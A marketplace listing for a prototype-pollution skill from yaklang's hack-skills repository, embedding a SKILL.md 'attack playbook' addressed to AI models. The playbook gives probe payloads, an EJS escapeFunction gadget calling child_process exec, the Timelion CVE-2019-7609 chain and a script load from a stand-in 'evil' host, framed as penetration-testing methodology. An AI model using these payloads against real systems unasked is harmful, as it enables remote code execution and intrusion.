Prototype Pollution logo

Prototype Pollution

OrganizationPopular
yaklang
prototype-pollution

Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

Overview

Publisheryaklang
Repositoryhack-skills
Skill nameprototype-pollution
Stars
2.3K
Forks
314
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Prototype Pollution AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/yaklang/hack-skills/tree/main/skills/prototype-pollution
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/prototype-pollution .claude/skills/prototype-pollution
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Prototype Pollution in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Prototype Pollution on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Prototype Pollution is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Prototype Pollution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Covers __proto__ vs constructor.prototype, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.

Routing note: prioritize PP when you see deep merges, recursive assign, JSON.parse followed by Object.assign, or URL queries converted to nested objects.

0. QUICK START

Client-side first probes

text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1

When input can reflect into DOM or framework routing, pair with alert(1) / console checks to observe whether global object properties were polluted.

text
#__proto__[xxx]=alert(1)

Server-side first probes(JSON / form)

json
{"__proto__":{"polluted":true}}
json
{"constructor":{"prototype":{"polluted":true}}}

After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads Object.prototype.polluted (see §3 detection table).

Quick boolean

If target code uses lodash.merge, deep-extend, hoek.applyToDefaults, or some qs/query-string configurations, raise priority.


1. MECHANISM

Prototype chain: when accessing obj.key, if obj lacks own property key, lookup walks up [[Prototype]] until Object.prototype.

__proto__: many parsers treat literal key __proto__ as a magic path that attaches child properties to the prototype. Merging { "__proto__": { "x": 1 } } can be equivalent to Object.prototype.x = 1 depending on implementation and patch level.

constructor.prototype: constructor typically points to the object's constructor function; constructor.prototype is that constructor's prototype object. For plain objects this usually links to Object.prototype. Example path:

json
{"constructor":{"prototype":{"polluted":1}}}

This is not always equivalent to __proto__ (filtering, JSON parsing, Bun/Node differences), so test both paths.

Core issue: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to prototype objects, giving global or shared template context malicious properties that later code reads normally, triggering gadgets.


2. CLIENT-SIDE DETECTION

URL fragment

text
https://app.example/page#__proto__[admin]=1
text
https://app.example/#__proto__[xxx]=alert(1)

If router or analytics code parses fragments into objects and then merges, pollution may occur.

constructor.prototype path

text
#constructor[prototype][role]=admin

DOM / attribute injection ideas

If the framework merges attribute names as object keys:

text
__proto__[src]=//evil/xss.js

Event-handler style keys (implementation-dependent):

text
__proto__[onerror]=alert(1)

Verification: open a fresh page without fragment and check in console whether test keys remain on Object.prototype; account for extension and DevTools interference.


3. SERVER-SIDE DETECTION (Express / Node, black-box)

The payloads below assume body/query is deeply parsed into objects by qs or similar parsers (possibly with body-parser). Observe global side effects, not only current endpoint return values.

Payload (JSON example)Expected observable signal
{"__proto__":{"parameterLimit":1}}Multi-parameter parsing in follow-up requests is ignored or abnormal (qs-style parameterLimit)
{"__proto__":{"ignoreQueryPrefix":true}}Double-question-mark prefixes like ??foo=bar are accepted or behavior changes sharply
{"__proto__":{"allowDots":true}}Nested keys like ?foo.bar=baz are expanded via dot notation
{"__proto__":{"json spaces":" "}}JSON-serialized responses gain extra spaces (JSON.stringify spacing setting polluted)
{"__proto__":{"exposedHeaders":["foo"]}}CORS responses include foo-related headers (if framework reads config from prototype)
{"__proto__":{"status":510}}Some response status changes to 510 or another abnormal code (app reads status from object)

Operational tip: send pollution request first, then a clean request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.


4. EXPLOITATION GADGETS

Target / scenarioPayload or patternNotes
EJS{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}If template engine options like escapeFunction are read from polluted prototype, this may lead to RCE; strongly version/config dependent
Timelion expression chain (CVE-2019-7609).es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')Historical chain: prototype pollution + timeline expression execution; useful to understand expression + PP combinations
Node child_processPollute shell, argv0, env, NODE_OPTIONS, etc. (merged into exec/fork option objects)Depends on whether later code calls spawn/fork and reads options from prototype chain
Generic constructor path{"constructor":{"prototype":{"foo":"bar"}}}Bypasses weak validation that filters only the __proto__ key

Chain mindset: pollution -> dependency reads obj.settings.xxx without hasOwnProperty -> RCE / SSRF / path traversal.


5. TOOLS

ProjectPurpose
yeswehack/pp-finderHelps locate PP-prone merge points and patterns
yuske/silent-springResearch and detection around prototype-pollution surfaces
yuske/server-side-prototype-pollutionServer-side PP testing suite/methodology
BlackFan/client-side-prototype-pollutionBrowser-side PP cases and payloads
portswigger/server-side-prototype-pollutionBurp ecosystem extension / supporting material
msrkp/PPScanScanning/verification helper

Prioritize use on authorized targets; automated tools can cause side effects on stateful applications.


6. DECISION TREE

                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit

Related routing

Frequently asked questions

What does the Prototype Pollution AI skill do?

Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

Why use Prototype Pollution on TypingMind?

Because you install it once and use it with any model. Prototype Pollution is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Prototype Pollution in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/prototype-pollution. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Prototype Pollution?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Prototype Pollution?

As many as you like. As long as a model supports skills, you can use Prototype Pollution with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Prototype Pollution AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇